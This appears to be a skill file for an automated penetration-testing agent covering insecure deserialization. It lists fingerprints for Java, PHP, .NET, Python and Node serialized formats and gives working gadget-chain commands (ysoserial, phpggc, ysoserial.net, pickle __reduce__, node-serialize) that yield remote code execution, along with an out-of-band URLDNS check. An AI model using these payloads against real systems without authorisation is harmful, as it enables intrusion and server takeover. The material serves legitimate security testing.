web-deserialization

name	web-deserialization
description	Insecure deserialization to RCE for web apps. Use when the app deserializes attacker-controlled data - cookies/tokens/hidden fields/params that are serialized blobs, VIEWSTATE, Java/PHP/.NET/Python/Node apps. Triggers - base64 starting rO0AB or hex AC ED 00 05 (Java), PHP serialize O-prefix, __VIEWSTATE, python pickle, node-serialize, unserialize error, ObjectInputStream.
tags	["vuln_assess","exploitation"]

Insecure Deserialization → RCE

When this fires

Attacker-controlled data is deserialized: cookies/tokens/hidden fields that decode to a serialized object, __VIEWSTATE, RMI/HTTP-invoker/message-queue bodies, or a known deser-CVE stack (see web-framework-rce for the CVE map).

Decide — fingerprint the format FIRST

• base64 rO0AB... or raw hex AC ED 00 05 → Java (ObjectInputStream).
• O:8:"ClassName":... → PHP (unserialize()).
• __VIEWSTATE / AAEAAAD... → .NET (BinaryFormatter/LosFormatter).
• python pickle opcodes (\x80\x04, c__builtin__) → Python.
• {"rce":"_$$ND_FUNC$$_..."} → Node (node-serialize).

Exploit → PROVE IMPACT (gadget chains)

# Java — ysoserial (pick a gadget matching the classpath: CommonsCollections1-7, URLDNS to test reachability first):
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0        # place in the sink
#   iterate gadgets: URLDNS/JRMPClient to confirm deser happens, then CC/Spring/Hibernate for RCE
# PHP — phpggc (find the framework's gadget: Laravel/Symfony/Monolog/Guzzle):
phpggc Monolog/RCE1 system id
# .NET — ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c ..."
# Python — pickle __reduce__ → os.system('id')  ;  Node — node-serialize _$$ND_FUNC$$_ IIFE

Proof required: id/uname (RCE). If the classpath is unknown, confirm deserialization first with a benign OOB gadget (Java URLDNS → your listener), then find the working RCE gadget; log each attempted gadget via record_vector attempt: so you don't re-try dead chains.

Tooling

ysoserial (Java), phpggc (PHP), ysoserial.net (.NET), gadgetinspector for custom classpaths; nuclei -tags deserialization.

False positives / pitfalls

• Signed/encrypted blobs (HMAC'd cookies, encrypted VIEWSTATE) → you need the key first (leaked/weak/default) — see web-auth-bypass-idor for key recovery; don't brute blindly.
• Gadget must match the LIBRARIES on the classpath — a failed CC1 doesn't mean not-vulnerable; iterate the gadget set.
• Length/type validation before deser → may need to satisfy a wrapper.